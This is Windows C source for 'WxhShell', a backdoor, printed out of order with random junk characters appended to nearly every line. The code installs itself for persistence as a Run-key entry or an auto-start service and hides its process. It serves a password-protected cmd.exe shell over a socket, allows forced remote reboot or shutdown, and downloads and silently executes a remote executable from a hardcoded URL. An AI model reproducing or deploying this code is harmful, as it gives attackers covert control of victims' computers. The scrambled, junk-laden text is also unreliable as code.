  case 'd': { )575JY `6K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i?.7o*w8  
    if(Boot(SHUTDOWN)) I Xm}WTgF!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G@YX8!w U  
    else { V &K:~[M  
    closesocket(wsh); #1INOR9  
    ExitThread(0); 5B&#Sh`r  
    } j-e gsKR  
    break; wA+QUN3#n  
    } 39xAh*}G]  
  // 获取shell )ZU)$dJ>V  
  case 's': { BO#XQ,  
    CmdShell(wsh); ~i)m(65:  
    closesocket(wsh); {*gO1TZt9  
    ExitThread(0); N$8do?  
    break; I7b_dJD;*  
  } 9] i$`y  
  // 退出 K.y2 $b/  
  case 'x': { C+, JLK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =J2\"6BnzA  
    CloseIt(wsh); T6gugDQ~.  
    break; }:5_vH0  
    } Pc+8CuN?  
  // 离开 F/MzrK\':m  
  case 'q': { IFrq\H0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cs'ylGH  
    closesocket(wsh); lzJ[`i.  
    WSACleanup(); >zYO1.~  
    exit(1); NQ7 j{dJ?  
    break; \+]U1^  
        } ~FnB!Mh}?  
  } i%1ny`Q  
  } 5Ocd2T'  
+(v<_#wR-  
  // 提示信息 qH3<,s*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G+k[.  
} j"FX ?|4  
  } pF)}<<C  
e(;1XqLM  
  return; z:RclDm  
} +~gqP k  
_R&}CP  
// shell模块句柄 !ke_?+ 8sY  
int CmdShell(SOCKET sock) l>l)m-;O  
{ aNZJs<3;'D  
STARTUPINFO si;  3kAmRU  
ZeroMemory(&si,sizeof(si)); yv.Y-c=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m!{}Y]FZn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I)wjTTM5  
PROCESS_INFORMATION ProcessInfo; 5|&:l8=  
char cmdline[]="cmd"; s0,\[rM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *?;<buJb?  
  return 0; OYcf+p"<\  
} JfJUOaL  
KmuE#Ia  
// 自身启动模式 ~Wh} W((L  
int StartFromService(void) qo1eHn4  
{ 6XVr-ef  
typedef struct _{.=zv|3  
{ 5hNjJqu  
  DWORD ExitStatus; 1J}i :i&  
  DWORD PebBaseAddress; )_*<uSl  
  DWORD AffinityMask; d2b  L_  
  DWORD BasePriority; +UzFHiGy#  
  ULONG UniqueProcessId; PQl a-  
  ULONG InheritedFromUniqueProcessId; Mx ?{[zT"  
}   PROCESS_BASIC_INFORMATION; Yzr RnVr  
PUMh#^g}  
PROCNTQSIP NtQueryInformationProcess; 5k0r{^#M  
l?>sLKo9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;B%NFvG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z tS P4lW  
)Fc` rY  
  HANDLE             hProcess; ]Lc:M'V#  
  PROCESS_BASIC_INFORMATION pbi; ]ne&`uO  
b;wf7~a*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "AN2K  
  if(NULL == hInst ) return 0; <+MNv#1:w  
{@T8i ^EI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =@#[@Ia  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %O 5 k+~9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); txF)R[dZK  
`;[ j`v8O  
  if (!NtQueryInformationProcess) return 0; JCjQR`)  
uZsm=('ww  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UlBg6   
  if(!hProcess) return 0; s?;rP,{:p  
b9M.p*!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2o0.ttBAqZ  
0\ G`AO;D  
  CloseHandle(hProcess); V=<OV]0  
Pn)^mt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^;J@]&[ ~  
if(hProcess==NULL) return 0; A;e[-5@  
zCrDbGvqF`  
HMODULE hMod; @@L@r6  
char procName[255]; (p1y/"Xh  
unsigned long cbNeeded; ahagt9[,:F  
(!h%) _?.l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sOc<'):TK  
7U#`^Q}  
  CloseHandle(hProcess); f_`gUMf  
mZ;W$y SO  
if(strstr(procName,"services")) return 1; // 以服务启动 zWiM l.[  
7%p[n;-o&  
  return 0; // 注册表启动 i ! wzID  
} =^. f)  
nSH A,c  
// 主模块 [al,UO  
int StartWxhshell(LPSTR lpCmdLine) pfj%AP:  
{ ?b',kN,(  
  SOCKET wsl; m5HP56a  
BOOL val=TRUE; EjsAV F [@  
  int port=0; jEQr{X7bEL  
  struct sockaddr_in door; rbP" n)0=  
IY@)  
  if(wscfg.ws_autoins) Install(); j%%l$i~  
3L24|-GxH  
port=atoi(lpCmdLine); &5&C   
JTcK\t8  
if(port<=0) port=wscfg.ws_port; yVe<[!hJ  
lk $S"OH!  
  WSADATA data; i2or/(u`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]?P9M<0PM  
x)6yWr[ri%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   te ?R(&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @kR/=EfS  
  door.sin_family = AF_INET; V1R=`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); . e2qa  
  door.sin_port = htons(port); ien >Ou  
@:$zReS2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |CME:;{T  
closesocket(wsl); lf3:Z5*&>  
return 1; #4h_(Y  
} !:Lb^C;/  
1x+Y gL5  
  if(listen(wsl,2) == INVALID_SOCKET) { :0BaEqX  
closesocket(wsl); 1Yt;1k'  
return 1; (>m3WI$d  
} -a`EL]NX  
  Wxhshell(wsl); $KL5Z#K  
  WSACleanup(); Zmf\A  
6[BQx)7T  
return 0; OZ?4"1$.t  
|;q*Zy(  
} 4]$cf:  
k[oU}~*U+  
// 以NT服务方式启动 A(y^1Nm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l 6wX18~XJ  
{ \LB =_W$  
DWORD   status = 0; }G$rr.G  
  DWORD   specificError = 0xfffffff; zGFo -C  
}a@ZFk_>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [V`j@dV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qX{m7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ehEXC  
  serviceStatus.dwWin32ExitCode     = 0; Ou IoO  
  serviceStatus.dwServiceSpecificExitCode = 0; >j1\]uo  
  serviceStatus.dwCheckPoint       = 0; i][7S mN  
  serviceStatus.dwWaitHint       = 0; [0 7N<<  
xw-x<7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z^ +CD-  
  if (hServiceStatusHandle==0) return; u/FnA-L4  
4VE7%.z+  
status = GetLastError(); pfW0)V1t  
  if (status!=NO_ERROR) <a *X&P  
{ o"@y=n/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d )|{iUcW  
    serviceStatus.dwCheckPoint       = 0; IC}?oXs5G  
    serviceStatus.dwWaitHint       = 0; }zVPdBRfm  
    serviceStatus.dwWin32ExitCode     = status; =p>"PqJ/7n  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8XwAKN:f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uV<I!jyI  
    return; 2U,O e9  
  } }J t( H  
4cK6B)X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UJkg|eu  
  serviceStatus.dwCheckPoint       = 0; #3maT*JY  
  serviceStatus.dwWaitHint       = 0; 'UO,DFq[Fl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y wlN4=  
} 7G}vQO  
0N.tPF}  
// 处理NT服务事件,比如:启动、停止 Xr~6_N{J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h d1H  
{ yvo~'k#c  
switch(fdwControl) '01H8er  
{ |i-Qfpn  
case SERVICE_CONTROL_STOP: xKKL4ws  
  serviceStatus.dwWin32ExitCode = 0; D3yG@lIP3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "iE9X.6NMu  
  serviceStatus.dwCheckPoint   = 0; -bSe=09;S|  
  serviceStatus.dwWaitHint     = 0; 06 gE;iT  
  { 5,>1rd<B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'Omi3LXfDT  
  } ^\ &:'$f+8  
  return; Y?hC/ 6$7  
case SERVICE_CONTROL_PAUSE: p2|c8n==  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V%&t'H{  
  break; -CW&!oW  
case SERVICE_CONTROL_CONTINUE: /E(H`;DG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2XrPgq'  
  break; xd8UdQ, lt  
case SERVICE_CONTROL_INTERROGATE: =9n$ at$l@  
  break; &9\z!r6mc  
}; "/hM&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i%H_ua  
} E!'H,#"P  
J) v~  
// 标准应用程序主函数 _#9:cH*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jJl6H~ "q  
{ U7J0&  
KC o<%  
// 获取操作系统版本 Y-&r_s_~  
OsIsNt=GetOsVer(); { 'Hi_b3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Fa^5.p  
i](,s.  
  // 从命令行安装 cs`/^2Vf"#  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y."ujo#bB  
%a+X\\v2  
  // 下载执行文件 G5Y5_r6Gu  
if(wscfg.ws_downexe) { !c:Q+:,H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ea1{9> S  
  WinExec(wscfg.ws_filenam,SW_HIDE); "+s#!Fh *  
} *w4jET>  
,.tT9? m  
if(!OsIsNt) { EDvK9J  
// 如果时win9x,隐藏进程并且设置为注册表启动 &$  F0  
HideProc(); qie7iE`o  
StartWxhshell(lpCmdLine); YE&"IH]lF  
} La? q>  
else ` 1DJwe2  
  if(StartFromService()) 2;%DE<Z  
  // 以服务方式启动 )F&@ M;2p'  
  StartServiceCtrlDispatcher(DispatchTable); =If% m9  
else C1P{4 U  
  // 普通方式启动 {rGq|Bj  
  StartWxhshell(lpCmdLine); Vn? %w~0!  
I"@X~Y7}  
return 0; }GsZ)\!$4  
} -h*Yd)  
r9@O`i  
dN;kYWRK  
NUb^!E"  
=========================================== }uWJ  
wNDLN`,^H  
9}`O*A=KC  
&KgR;.R^J  
`LH!"M  
-2|D( sO  
" >yUThhJRn  
cO<]%L0  
#include <stdio.h> 57IrD*{  
#include <string.h> \v]}  
#include <windows.h> PB4E_0}h  
#include <winsock2.h> }p}i _'%  
#include <winsvc.h> IGT~@);  
#include <urlmon.h> (}O)pqZ>  
a*CP1@O  
#pragma comment (lib, "Ws2_32.lib") >h<eEv/  
#pragma comment (lib, "urlmon.lib") f2_LfbvH  
5}9-)\8=z  
#define MAX_USER   100 // 最大客户端连接数 # j*$ `W;  
#define BUF_SOCK   200 // sock buffer !$AVl MnJ  
#define KEY_BUFF   255 // 输入 buffer J"|)?$d]z  
<qZXpQ#  
#define REBOOT     0   // 重启 ,oIZ5u{#,  
#define SHUTDOWN   1   // 关机 jd l1Q<Z  
=nFT0];  
#define DEF_PORT   5000 // 监听端口 nSsVONHfa  
n0U^gsD4J  
#define REG_LEN     16   // 注册表键长度 9~zh]deH  
#define SVC_LEN     80   // NT服务名长度 8Nxf2i5  
q?8MKf[N  
// 从dll定义API CSc*UX+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _@;2h`q ?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W)^:*z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '15j$q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /OgXNIl]  
r4JXbh6Tt  
// wxhshell配置信息 3k;U#H  
struct WSCFG { sxgR;gf6  
  int ws_port;         // 监听端口 #"ayq,GC<  
  char ws_passstr[REG_LEN]; // 口令 7oF`Os+U  
  int ws_autoins;       // 安装标记, 1=yes 0=no |C'w] QYm  
  char ws_regname[REG_LEN]; // 注册表键名 POH >!lHu  
  char ws_svcname[REG_LEN]; // 服务名 qS&PMQ"$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U`FybP2R~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W euV+}\b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _I~TpH^1K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P.qD,$-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R|V<2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G&D N'bp  
E=~H,~  
}; dtA- 4Ndm  
^Q!:0D*  
// default Wxhshell configuration +n,8o:fU:  
struct WSCFG wscfg={DEF_PORT,  ~Zl`Ap  
    "xuhuanlingzhe", ;zs*Zd7h M  
    1, )@eBe^  
    "Wxhshell", |r}%AN6+  
    "Wxhshell", T~"tex]  
            "WxhShell Service", ZhxMA*fL  
    "Wrsky Windows CmdShell Service", +D?d)lK  
    "Please Input Your Password: ", :N8D1e-a  
  1, <kLY1 EILM  
  "http://www.wrsky.com/wxhshell.exe", 8S]Mf*~S'  
  "Wxhshell.exe" 6;n^/3*#  
    }; L!S-f4^5  
yel>-=Vn  
// 消息定义模块 CSr{MF`]e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (ZShhy8g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %T'?7^\>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4Xz6JJ1U[H  
char *msg_ws_ext="\n\rExit."; ~lDLdUs  
char *msg_ws_end="\n\rQuit."; b8b-M]P-=  
char *msg_ws_boot="\n\rReboot..."; qu[w_1%S  
char *msg_ws_poff="\n\rShutdown..."; 4c2P%X( C  
char *msg_ws_down="\n\rSave to "; &tWWb`  
JTx}{kVO  
char *msg_ws_err="\n\rErr!"; fEVuH]  
char *msg_ws_ok="\n\rOK!"; 0p2 0Rt  
QMtt:f]?i  
char ExeFile[MAX_PATH]; {)b`fq  
int nUser = 0; `yQHPN0/  
HANDLE handles[MAX_USER]; LWVO%@)w  
int OsIsNt; wW%I < M  
`W]a @\EYA  
SERVICE_STATUS       serviceStatus; T{uktIO/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @;rVB  
/;OJ=x3i  
// 函数声明 N"r ;d+LTL  
int Install(void); _'I9rGlx3  
int Uninstall(void); '')G6-c/  
int DownloadFile(char *sURL, SOCKET wsh); 7y[B[$P  
int Boot(int flag); M<ad>M  
void HideProc(void); l$zNsf.  
int GetOsVer(void); ,1~Zqprn  
int Wxhshell(SOCKET wsl); //J:p,AF  
void TalkWithClient(void *cs); ]G1j\wnF  
int CmdShell(SOCKET sock); ` 4k;`a  
int StartFromService(void); s{s0#g  
int StartWxhshell(LPSTR lpCmdLine); U">OdoZ,E+  
dtF6IdAf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +ixDB0"\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dH`a|SVW9  
>,] #~d  
// 数据结构和表定义 dtg Ja_  
SERVICE_TABLE_ENTRY DispatchTable[] = >p<( CVX[  
{ SN]/~>/  
{wscfg.ws_svcname, NTServiceMain}, Gi<f/xQk>  
{NULL, NULL} vi5~Rd`  
}; 5Q%#Z L/'  
wSAm[.1i  
// 自我安装 Xrz0ch  
int Install(void) R=e`QMq  
{ Q'8v!/"}p{  
  char svExeFile[MAX_PATH]; l w%fY{  
  HKEY key; kkJg/:g  
  strcpy(svExeFile,ExeFile); jV<LmVcZY  
rW`F|F%  
// 如果是win9x系统,修改注册表设为自启动 UoLO#C0i  
if(!OsIsNt) { piId5Gx7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7Ru0>4B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +?.,pqn<=  
  RegCloseKey(key); 3R{-\ZMd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 78.sf{I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #-@{rgH  
  RegCloseKey(key); ;8T<L[ ^U  
  return 0; .1pEq~>  
    } yr=r? h}  
  } VKs\b-1  
} "|Pl(HX  
else { /C(L(X  
xJ"KR:CD>  
// 如果是NT以上系统,安装为系统服务 a6]!4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sW]n~kTt'  
if (schSCManager!=0) N!m%~},s//  
{ V`H#|8\i  
  SC_HANDLE schService = CreateService {$EXI]f  
  ( @"~\[z5  
  schSCManager, G` 8j ^H,  
  wscfg.ws_svcname, r]E$uq bR  
  wscfg.ws_svcdisp, !e7vc[N  
  SERVICE_ALL_ACCESS, )a}5\V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )R|7> 97  
  SERVICE_AUTO_START, a>kD G <.A  
  SERVICE_ERROR_NORMAL, -0]aOT--  
  svExeFile, NRl"!FSD;"  
  NULL, zJsoenU  
  NULL, /F4:1 }  
  NULL, 2Z97Tq  
  NULL, ,S5#Kka~a  
  NULL 2tbqmWw/s  
  ); aQG#bh [  
  if (schService!=0)  jPs+i  
  { B@=Yj_s  
  CloseServiceHandle(schService); O<E0L&4-&  
  CloseServiceHandle(schSCManager); UP`q6] P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $YC~02{  
  strcat(svExeFile,wscfg.ws_svcname); ~H$XSNPi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p']AXJ`Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]S:@=9JB'  
  RegCloseKey(key); jG2w(h/"  
  return 0; [D,:=p`  
    } N0piL6Js  
  } Stc\P]%d  
  CloseServiceHandle(schSCManager); 4w?7AI]Ej  
} q1gf9` 0  
} G !~BA*  
9=o b:  
return 1; g\l;>  
} R#`itIYh  
"a g_   
// 自我卸载 ~h@tezF  
int Uninstall(void) U<t-LF3  
{ 5_`}$"<~  
  HKEY key; em]K7B=  
K$ &wO.  
if(!OsIsNt) { W"*R#:Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f8 ja Mn9o  
  RegDeleteValue(key,wscfg.ws_regname); -hzza1DP  
  RegCloseKey(key); 4 * OU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gw./qu-W  
  RegDeleteValue(key,wscfg.ws_regname); \1!k)PZdTW  
  RegCloseKey(key); ;1dz?'%V  
  return 0; \PFx# :-c  
  } |W <:rT  
} n1t(ns|  
} wgyO%  
else { V4-=Ni]k  
TH|hrL;:8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e !yw"Cf*  
if (schSCManager!=0) AH`15k_i  
{ </X"*G't  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $imx-H`|  
  if (schService!=0) c{Kl?0#[  
  { _E;Y ~I,i  
  if(DeleteService(schService)!=0) { r83~o/T@  
  CloseServiceHandle(schService); , .I^ekF  
  CloseServiceHandle(schSCManager); Fjzk;o  
  return 0; @>]3xHE6#=  
  } @"!SU' *  
  CloseServiceHandle(schService); q(7D8xG;F  
  } :/NN =3e  
  CloseServiceHandle(schSCManager); /;4MexgB%  
} `$H   
} &[RU.Q!_H  
0vp I#q  
return 1; F4Uk+|]Bu  
} 3\+p1f4  
~N9-an  
// 从指定url下载文件 {9".o,  
int DownloadFile(char *sURL, SOCKET wsh) 0f^.zt{T  
{ }L!`K"^O&  
  HRESULT hr; ^rwSbM$  
char seps[]= "/"; lc-|Q#$3$  
char *token; Bs?F*,zDJ  
char *file; |esjhf}H>v  
char myURL[MAX_PATH]; fO^6q1a  
char myFILE[MAX_PATH]; QNXxpoS#  
8~E)gV+v  
strcpy(myURL,sURL); ;#9| l=  
  token=strtok(myURL,seps); MPbPq3an  
  while(token!=NULL) (OB8vTRXP  
  { <&:&qn gg  
    file=token; 8>q% 1]X  
  token=strtok(NULL,seps); P@YL.'KU)  
  } + nS/jW  
fZ}Y(TG/  
GetCurrentDirectory(MAX_PATH,myFILE); %>2t=)T  
strcat(myFILE, "\\"); ?MM3LA! <  
strcat(myFILE, file); M7R&J'SAY  
  send(wsh,myFILE,strlen(myFILE),0); TEyx((SK  
send(wsh,"...",3,0); }G+A_HF ^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5Kj4!Ai  
  if(hr==S_OK) Uob|Q=MQ  
return 0; ATM:As:<@  
else ^ ~qs-.?  
return 1; +[/47uFbI  
Lc<xgN+cJ  
} /dt!J `:  
L5 9oh  
// 系统电源模块 |ozoc"'  
int Boot(int flag) b',bi.FH  
{ b0Ov+ )7#  
  HANDLE hToken; $af}+:'  
  TOKEN_PRIVILEGES tkp; -!,]Y10  
ZT8J i?_n  
  if(OsIsNt) { Lzx$"R-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'S7@+kJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \Z20fh2  
    tkp.PrivilegeCount = 1; G.nftp(*}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5w)^~#  '  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9jGuelwN  
if(flag==REBOOT) { n/oipiYx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J xm9@,  
  return 0; 07Q[L'}y@  
} FJ~_0E#L  
else { ^FM9} t/U,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]H#Rm#q  
  return 0; s9kLB.  
} q'F_ j"  
  } yj'' \  
  else { ` .(S#!gw  
if(flag==REBOOT) { \h7J/es^p!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nX\]i~  
  return 0; @gSFvb bc  
} 2~WFLD  
else { Pgw%SMEp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RyOT[J  
  return 0; b2X'AHK S  
} 4Sstg57x~  
} 8o7]XZE=)  
-*hb^MvP  
return 1; R``V Q  
} `JWYPsWk  
]~00=nXFM/  
// win9x进程隐藏模块 O {6gNR,*  
void HideProc(void) !N8)C@=  
{ zLw h6^?Y  
207O["Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j(6$7+2qN  
  if ( hKernel != NULL ) ]Uu(OI<)  
  { fE%[j?[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0uIV6LI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2r}uE\GN  
    FreeLibrary(hKernel); z[\W\g*|ri  
  } FW)^O%2s  
I0w@S7  
return; ?[ S >&Vq  
} @SC-vc  
_A,-[*OKI  
// 获取操作系统版本 0^y@p&;/.  
int GetOsVer(void) HM@}!6/s  
{ 52MCUl  
  OSVERSIONINFO winfo; VUy)4*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kyxSIQ^  
  GetVersionEx(&winfo);  9VUm=Z#`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |c oEBFG  
  return 1; F7Dc!JNa  
  else -S,ir  
  return 0; 2&gVZz  
} !/4 V^H  
rX!+@>4_L  
// 客户端句柄模块 1 x\VdT  
int Wxhshell(SOCKET wsl) &=z1$ih>2\  
{ o7Cnyy#:  
  SOCKET wsh; >2lAy:B5  
  struct sockaddr_in client; ~w1{zxs  
  DWORD myID; fs rg2:kQ  
+(<n |~  
  while(nUser<MAX_USER) <RoX|zJw  
{ 20/P M9  
  int nSize=sizeof(client); xS~yH[k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }+{*, z  
  if(wsh==INVALID_SOCKET) return 1; y '_V/w s  
RD6h=n4B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s3Krob`C5  
if(handles[nUser]==0) )iEa2uJ  
  closesocket(wsh); 5:l*Ib:s7  
else #FqFH>-*2  
  nUser++; 9B+ zJ Vte  
  } Ej+]^t$\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h\=p=M  
jMf 7J  
  return 0; 'HQ7 |Je  
} }RA3$%3  
mEB2RLCM  
// 关闭 socket |5O >>a()  
void CloseIt(SOCKET wsh) c#{Ywh  
{ ~mXZfG/D  
closesocket(wsh); l:zU_J6  
nUser--; .#=j <&  
ExitThread(0); ;.nP%jD  
} }\`(m\2xo  
POqRHuFq  
// 客户端请求句柄 u=@h`5-fp  
void TalkWithClient(void *cs) j8[`~p b  
{ z*M}=`M$  
:]B% >*;}  
  SOCKET wsh=(SOCKET)cs; P"R97#C  
  char pwd[SVC_LEN]; r/CEYEJ&X  
  char cmd[KEY_BUFF]; t$]&,ucW#  
char chr[1]; %aj7-K6:t  
int i,j; kyW6S+#-  
943I:, B  
  while (nUser < MAX_USER) { -+3be(u  
]]p19[4s  
if(wscfg.ws_passstr) { \LO_Nu9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r{K\(UT]!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &YT_#M  
  //ZeroMemory(pwd,KEY_BUFF); F=oHl@  
      i=0; hmK8j l<6  
  while(i<SVC_LEN) { zW"~YaO%C  
>AR Tr'B  
  // 设置超时 o &BPG@n  
  fd_set FdRead; T&9`?QD  
  struct timeval TimeOut; to99 _2  
  FD_ZERO(&FdRead); m >]>$=%  
  FD_SET(wsh,&FdRead); _MM   
  TimeOut.tv_sec=8; gB(9vhj $  
  TimeOut.tv_usec=0; 0s 860Kn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xGKfej9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IXGW2z;  
=ud `6{R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i Td-n9  
  pwd=chr[0]; KK:N [x  
  if(chr[0]==0xd || chr[0]==0xa) { Y3-]+y%l  
  pwd=0; ?Wwh _TO  
  break; 0Vf)Rw1%I  
  } h6g=$8E  
  i++; 9aTL22U?  
    } 98BYtxa  
J1.qhy>  
  // 如果是非法用户,关闭 socket >HE,'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CXBzX:T?#  
} hZ!oRWIU%G  
QZ?d2PC=>?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m])Lw@#9W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fk+1#7{  
D^|jZOJ  
while(1) { Gu2_dT  
/ >%L[RJ4  
  ZeroMemory(cmd,KEY_BUFF); aw1P5aPmX  
dY1J<L}")  
      // 自动支持客户端 telnet标准   rqF"QU=l  
  j=0; e[s5N:IUd3  
  while(j<KEY_BUFF) { L*P_vCC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8fnR1mWG  
  cmd[j]=chr[0]; d;{y`4p)s  
  if(chr[0]==0xa || chr[0]==0xd) { HC J;&C73&  
  cmd[j]=0; h9)RJSF4  
  break; j5zFDh1(  
  } 5)mVy?Z  
  j++; k,T_e6(  
    } q&Q/?g>f  
H- 185]7  
  // 下载文件 (s0 88O  
  if(strstr(cmd,"http://")) { ~]4kkm7Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2sUbiDe-  
  if(DownloadFile(cmd,wsh)) 3)y{n%3L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3g;T?E  
